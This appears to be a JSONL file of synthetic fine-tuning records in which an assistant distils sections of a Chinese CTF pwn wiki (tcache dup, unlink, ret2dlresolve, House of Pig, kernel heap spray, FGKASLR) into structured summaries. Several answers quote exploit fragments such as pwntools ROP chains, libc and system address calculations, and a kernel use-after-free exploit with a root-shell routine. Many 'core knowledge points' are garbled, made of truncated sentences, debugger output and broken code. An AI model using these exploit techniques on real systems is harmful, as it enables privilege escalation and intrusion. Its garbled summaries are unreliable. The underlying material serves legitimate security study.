{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-c7fc0de010942135cdda", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/tcache-attack.md` 中的章节「tcache dup」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/tcache-attack.md`\n标题：tcache makes heap exploitation easy again\n章节：define TCACHE_FILL_COUNT 7 > 0x03 Pwn Tcache > tcache dup\n路径分类：pwn / pwn/linux/user-mode\n分块：1/2\n\n核心知识点：\n- 本节主题围绕“tcache dup”展开。\n- 类似 fastbin dup，不过利用的是 tcache_put() 的不严谨 ``C static __always_inline void tcache_put (mchunkptr chunk, size_t tc_idx) { tcache_entry e = (tcache_entry ) chunk2mem (chunk);\n- — push r15 RIP 0x5555555547fc (main+162) ?\n- ────────────────────────────────────────[ STACK ]──────────────────────────────────────── 00:0000│ rsp 0x7fffffffdfb0 —?\n- 0x7ffff7a3fa87 (__libc_start_main+231) ?\n- } ` 可以看出，tcache_put() 的检查也可以忽略不计（甚至没有对 tcache->counts[tc_idx] 的检查），大幅提高性能的同时安全性也下降了很多。\n\n关键术语：\n- 堆\n- 栈\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- heap\n- code:c\n- code:asm\n\n代码/命令片段线索：\n- C: 9 行，首行 `static __always_inline void`\n- C: 27 行，首行 `glibc_2.26 [master●] bat ./tcache_dup.c`\n- asm: 70 行，首行 `pwndbg> n`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 4251, "chunk_count": 2, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "pwn", "heading": "tcache dup", "heading_path": ["define TCACHE_FILL_COUNT 7", "0x03 Pwn Tcache", "tcache dup"], "original_id": "docs-9d82832ed123c82e5533", "original_line": 1046, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/tcache-attack.md", "source_root": "docs", "source_sha256": "37eb8bd9e0addea4340fa8d86115193239ec930263e815b614220939fd397eaa", "split": "train", "split_group_key": "70c6bb65936b94f6c2b2cf6b", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "栈", "AI安全", "漏洞利用", "pwn", "linux", "user-mode", "heap", "code:c", "code:asm"], "title": "tcache makes heap exploitation easy again"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/tcache-attack.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-c805be78c949f6e30276", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/virtualization/basic-knowledge/io-virtualization.md` 中的章节「IOMMU」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/virtualization/basic-knowledge/io-virtualization.md`\n标题：IO 虚拟化\n章节：IO 虚拟化 > IOMMU\n路径分类：pwn / pwn/virtualization/basic-knowledge\n分块：1/1\n\n核心知识点：\n- [图片文件: ./figure/iommu.png] IOMMU 通常被集成于北桥中，其提供面向设备端的两个功能： - DMA 重映射（ DMA remapping）：有着 DMA 功能的设备可以使用虚拟地址，通过 IOMMU 转换为物理地址进行直接内存访问。\n- IOMMU 即 Input/Output Memory Management Unit，其功能类似于 CPU 中的 MMU，是一个向设备侧提供地址翻译功能的单元。\n- 中断重映射（Interrupt remapping）：IOMMU 会拦截设备产生的中断，根据中断重映射表产生新的中断请求发送给 LAPIC。\n- [图片文件: ./figure/dma_intr_remap.png]\n\n关键术语：\n- pwn\n- virtualization\n- basic-knowledge\n- io-virtualization.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 349, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "IOMMU", "heading_path": ["IO 虚拟化", "IOMMU"], "original_id": "docs-a217015518d561ab5d7f", "original_line": 1413, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/virtualization/basic-knowledge/io-virtualization.md", "source_root": "docs", "source_sha256": "ff9b01703451d093829def71a27f03c2cc2aac081cf073a0628e028fe37eb910", "split": "train", "split_group_key": "14ebb1cff5f1af8473085ee0", "subcategory": "pwn/virtualization/basic-knowledge", "terms": ["pwn", "virtualization", "basic-knowledge", "io-virtualization.md"], "title": "IO 虚拟化"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/virtualization/basic-knowledge/io-virtualization.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-c8a58e40e62dba8bba0a", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/unlink.md` 中的章节「6. calcuate the system's addr」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/unlink.md`\n标题：Unlink\n章节：6. calcuate the system's addr\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“6. calcuate the system's addr”展开。\n- libcstart = ret.split('.')[10] libcstart_2 = int(libcstart,16) - libcstartmain_ret_off print 'libc start addr:',hex(libcstart_2) system_addr = libcstart_2 + sys_off print 'system_addr:',hex(system_addr)\n\n关键术语：\n- 堆\n- AI安全\n- pwn\n- linux\n- user-mode\n- heap\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 202, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "6. calcuate the system's addr", "heading_path": ["6. calcuate the system's addr"], "original_id": "docs-6ec2453547910d3d58be", "original_line": 1095, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/unlink.md", "source_root": "docs", "source_sha256": "c6a924469168a8cbe0822d2807b6d6c4037af2ee0bd17384b59dcb6fdb0c90ee", "split": "train", "split_group_key": "d95781e5f6ad75558975cd0a", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "AI安全", "pwn", "linux", "user-mode", "heap"], "title": "Unlink"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/unlink.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-c8e53324f665698f160f", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md` 中的章节「construct fake string, symbol, reloc.modify .dynstr pointer in .dynamic section to a specific location」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md`\n标题：ret2dlresolve\n章节：construct fake string, symbol, reloc.modify .dynstr pointer in .dynamic section to a specific location\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“construct fake string, symbol, reloc.modify .dynstr pointer in .dynamic section to a specific location”展开。\n- rop = ROP(\"./main_partial_relro_64\") offset = 112+8 rop.raw(offset'\\x00') resolve_data, resolve_call = ret2dlresolve_x64(elf, store_addr, \"system\",elf.got[\"write\"]) rop.raw(csu(0, 1 ,elf.got['read'],0,store_addr,len(resolve_data)+len(sh))) rop.raw(vuln_addr...\n\n关键术语：\n- 边界/溢出\n- 栈\n- ROP/JOP\n- AI安全\n- pwn\n- linux\n- user-mode\n- stackoverflow\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 346, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "construct fake string, symbol, reloc.modify .dynstr pointer in .dynamic section to a specific location", "heading_path": ["construct fake string, symbol, reloc.modify .dynstr pointer in .dynamic section to a specific location"], "original_id": "docs-e737cc290b6cbba2564e", "original_line": 1362, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md", "source_root": "docs", "source_sha256": "2e19134d3375fa37fb3e560ae4b2109f6d74f32723e63394ef57aadfc89c451a", "split": "train", "split_group_key": "5610eb9dcb14c3bd04926a1c", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "栈", "ROP/JOP", "AI安全", "pwn", "linux", "user-mode", "stackoverflow"], "title": "ret2dlresolve"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-c922f53a0cd3f4500d02", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/defense/randomization/fgkaslr.md` 中的章节「编译阶段」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/defense/randomization/fgkaslr.md`\n标题：FGKASLR\n章节：FGKASLR > 实现 > 编译阶段\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“编译阶段”展开。\n- FGKASLR 利用 gcc 的编译选项 -ffunction-sections 把内核中不同的函数放到不同的 section 中。\n- 通过这两组信息，内核在解压缩后就可以乱序排列函数。\n- 在编译的过程中，任何使用 C 语言编写的函数以及不在特殊输入节的函数都会单独作为一个节；\n- 编译后的 vmlinux 保留了所有的节区头（Section Headers），以便于知道每个函数的地址范围。\n- 最后的 binary 的第一个段包含了一个合并节（由若干个函数合并而成）、以及若干其它单独构成一个节的函数。\n\n关键术语：\n- 漏洞利用\n- pwn\n- linux\n- kernel-mode\n- defense\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 296, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "编译阶段", "heading_path": ["FGKASLR", "实现", "编译阶段"], "original_id": "docs-33f9a4ea86305725a664", "original_line": 685, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/defense/randomization/fgkaslr.md", "source_root": "docs", "source_sha256": "7a1e8456215c0c527a2cc2e29a0de89ed5de3cf8eafa1490bc317a7ac74ec9d0", "split": "train", "split_group_key": "5e606042bf5fe5cf7e34987d", "subcategory": "pwn/linux/kernel-mode", "terms": ["漏洞利用", "pwn", "linux", "kernel-mode", "defense"], "title": "FGKASLR"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/defense/randomization/fgkaslr.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-c94c8bc29fca713fbcbd", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/house-of-pig.md` 中的章节「跳表修复」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/house-of-pig.md`\n标题：House of Pig\n章节：House of Pig > 例题 > XCTF-FINAL-2021 house of pig > 跳表修复\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“跳表修复”展开。\n- 拿到题目，直接 F5 的话可能会出现 __asm{ jmp rax } 这样的指令 [图片文件: ./figure/jmp-rax.png] 这是 switch 的跳表结构未被 IDA 识别造成的，导致了大量代码丢失，通过 IDA 的 Edit->Other 中的 Specify switch idiom 功能可以实现修复，对于此程序应该使用的参数为 [图片文件: ./figure/switch-fix.png] 然后就可以识别出 switch 了。\n\n关键术语：\n- 堆\n- 修复/缓解\n- pwn\n- linux\n- user-mode\n- heap\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 233, "chunk_count": 1, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "pwn", "heading": "跳表修复", "heading_path": ["House of Pig", "例题", "XCTF-FINAL-2021 house of pig", "跳表修复"], "original_id": "docs-5ac6085ba9888eabfdf5", "original_line": 992, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/house-of-pig.md", "source_root": "docs", "source_sha256": "ad30bbcb365576fbe52c5fa885a96ce1ee3f7e048f759c291bf7b1aa50921256", "split": "train", "split_group_key": "75a5856fdb7460defcb65e0b", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "修复/缓解", "pwn", "linux", "user-mode", "heap"], "title": "House of Pig"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/house-of-pig.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-ca85f7ac435de4cd37a3", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/tcache-attack.md` 中的章节「基本信息」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/tcache-attack.md`\n标题：tcache makes heap exploitation easy again\n章节：from pwn import * > Challenge 4 : HITCON 2019 one_punch_man > 基本信息\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“基本信息”展开。\n- 开启了常见保护，题目环境为 glibc 2.29 ，使用 seccomp 开启了沙箱保护，只有白名单上的系统调用可以使用。\n- = rt_sigreturn) goto 0006 0005: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0006: 0x15 0x00 0x01 0x000000e7 if (A !\n- = exit_group) goto 0008 0007: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0008: 0x15 0x00 0x01 0x0000003c if (A !\n- = exit) goto 0010 0009: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0010: 0x15 0x00 0x01 0x00000002 if (A !\n- = open) goto 0012 0011: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0012: 0x15 0x00 0x01 0x00000000 if (A !\n\n关键术语：\n- 堆\n- 栈\n- 密码学\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- heap\n- code:bash\n\n代码/命令片段线索：\n- bash: 37 行，首行 `╭─wz@wz-virtual-machine ~/Desktop/CTF/xz_files/hitcon2019_one_punch_man ‹master›`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 1823, "chunk_count": 1, "chunk_index": 0, "ctf_score": 32, "ctf_task_type": "pwn", "heading": "基本信息", "heading_path": ["from pwn import *", "Challenge 4 : HITCON 2019 one_punch_man", "基本信息"], "original_id": "docs-1b8f90ecc23feb45af20", "original_line": 1065, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/tcache-attack.md", "source_root": "docs", "source_sha256": "37eb8bd9e0addea4340fa8d86115193239ec930263e815b614220939fd397eaa", "split": "train", "split_group_key": "1a0c397f7642439a6d5afc55", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "栈", "密码学", "漏洞利用", "pwn", "linux", "user-mode", "heap", "code:bash"], "title": "tcache makes heap exploitation easy again"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/tcache-attack.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-cac50231abe44a5487d1", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/stackoverflow/x86/fancy-rop.md` 中的章节「2018-XNUCA-gets」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/stackoverflow/x86/fancy-rop.md`\n标题：花式栈溢出技巧\n章节：context.log_level = \"debug\" > 2018-XNUCA-gets\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“2018-XNUCA-gets”展开。\n- } `` 程序就这么小，很明显有一个栈溢出的漏洞，然而没有任何 leak。\n- 这个题目也挺有意思的，如下 ``c __int64 __fastcall main(__int64 a1, char a2, char a3) { char v4;\n- // [rsp+0h] [rbp-18h] gets((char )&v4);\n\n关键术语：\n- 边界/溢出\n- 栈\n- ROP/JOP\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- stackoverflow\n- code:c\n\n代码/命令片段线索：\n- c: 6 行，首行 `__int64 __fastcall main(__int64 a1, char **a2, char **a3)`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 187, "chunk_count": 1, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "pwn", "heading": "2018-XNUCA-gets", "heading_path": ["context.log_level = \"debug\"", "2018-XNUCA-gets"], "original_id": "docs-483dbba1b102d74989d0", "original_line": 1275, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/fancy-rop.md", "source_root": "docs", "source_sha256": "0b7df13e54f705c9de45a0f19d62105001f5f8907741819d44afc12bc54434d7", "split": "train", "split_group_key": "2737f3742e1bb7f8575d7cb9", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "栈", "ROP/JOP", "AI安全", "漏洞利用", "pwn", "linux", "user-mode", "stackoverflow", "code:c"], "title": "花式栈溢出技巧"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/fancy-rop.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-cbaa89371d81bcc4b26a", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/exploitation/heap/slub/spray.md` 中的章节「EXPLOIT」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/exploitation/heap/slub/spray.md`\n标题：Heap Spray\n章节：Heap Spray > 例题：RWCTF2023体验赛 - Digging into kernel 3 > EXPLOIT\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/2\n\n核心知识点：\n- 本节主题围绕“EXPLOIT”展开。\n- } / root checker and shell poper / void get_root_shell(void) { if(getuid()) { puts(\"\\033[31m\\033[1m[x] Failed to get the root!\n- } int key_update(int keyid, void payload, size_t plen) { return syscall(__NR_keyctl, KEYCTL_UPDATE, keyid, payload, plen);\n- } /* Exploit stage / int main(int argc, char argv, char envp) { size_t buf, pipe_buffer_addr;\n- if (dev_fd < 0) { err_exit(\"FAILED to open the /dev/rwctf file!\n- } / construct UAF on user_key_payload / puts(\"[] construct UAF obj and spray keys...\");\n\n关键术语：\n- UAF\n- 堆\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- kernel-mode\n- exploitation\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 5077, "chunk_count": 2, "chunk_index": 0, "ctf_score": 32, "ctf_task_type": "pwn", "heading": "EXPLOIT", "heading_path": ["Heap Spray", "例题：RWCTF2023体验赛 - Digging into kernel 3", "EXPLOIT"], "original_id": "docs-d2cb07692e8a2b87940f", "original_line": 770, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/heap/slub/spray.md", "source_root": "docs", "source_sha256": "2ae680126839cc9344bcfca380d500d735c945fde26f1a88b9e25d41a3e55a18", "split": "train", "split_group_key": "4f5ae61cfb2f5ffef6b79eb9", "subcategory": "pwn/linux/kernel-mode", "terms": ["UAF", "堆", "AI安全", "漏洞利用", "pwn", "linux", "kernel-mode", "exploitation"], "title": "Heap Spray"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/heap/slub/spray.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-cbf2df2a9a80cb42e213", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md` 中的章节「make a fake write symbol at base_stage + 32 + align」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md`\n标题：ret2dlresolve\n章节：make a fake write symbol at base_stage + 32 + align\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“make a fake write symbol at base_stage + 32 + align”展开。\n- fake_sym_addr = base_stage + 32 align = 0x10 - ((fake_sym_addr - dynsym) & 0xf) # since the size of Elf32_Symbol is 0x10 fake_sym_addr = fake_sym_addr + align index_dynsym = (fake_sym_addr - dynsym) / 0x10 # calculate the dynsym index of write st_name = fak...\n\n关键术语：\n- 边界/溢出\n- 栈\n- ROP/JOP\n- pwn\n- linux\n- user-mode\n- stackoverflow\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 373, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "make a fake write symbol at base_stage + 32 + align", "heading_path": ["make a fake write symbol at base_stage + 32 + align"], "original_id": "docs-0ede02c4bd8973f07bb7", "original_line": 1328, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md", "source_root": "docs", "source_sha256": "2e19134d3375fa37fb3e560ae4b2109f6d74f32723e63394ef57aadfc89c451a", "split": "train", "split_group_key": "00aeaedc856fd6fae39f181d", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "栈", "ROP/JOP", "pwn", "linux", "user-mode", "stackoverflow"], "title": "ret2dlresolve"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-cbf3075366c696223f59", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md` 中的章节「context.log_level=\"debug\"」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md`\n标题：ret2dlresolve\n章节：context.log_level=\"debug\"\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“context.log_level=\"debug\"”展开。\n- context.terminal = [\"tmux\",\"splitw\",\"-h\"] context.arch=\"i386\" p = process(\"./main_no_relro_32\") rop = ROP(\"./main_no_relro_32\") elf = ELF(\"./main_no_relro_32\") p.recvuntil('Welcome to XDCTF2015~!\n\n关键术语：\n- 边界/溢出\n- 栈\n- ROP/JOP\n- AI安全\n- pwn\n- linux\n- user-mode\n- stackoverflow\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 662, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "context.log_level=\"debug\"", "heading_path": ["context.log_level=\"debug\""], "original_id": "docs-34f1540b9be8d3df1f53", "original_line": 1306, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md", "source_root": "docs", "source_sha256": "2e19134d3375fa37fb3e560ae4b2109f6d74f32723e63394ef57aadfc89c451a", "split": "train", "split_group_key": "fbecdb013749d7db55a94fc9", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "栈", "ROP/JOP", "AI安全", "pwn", "linux", "user-mode", "stackoverflow"], "title": "ret2dlresolve"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md", "split": "train", "type": "ctf_lora_sft"}
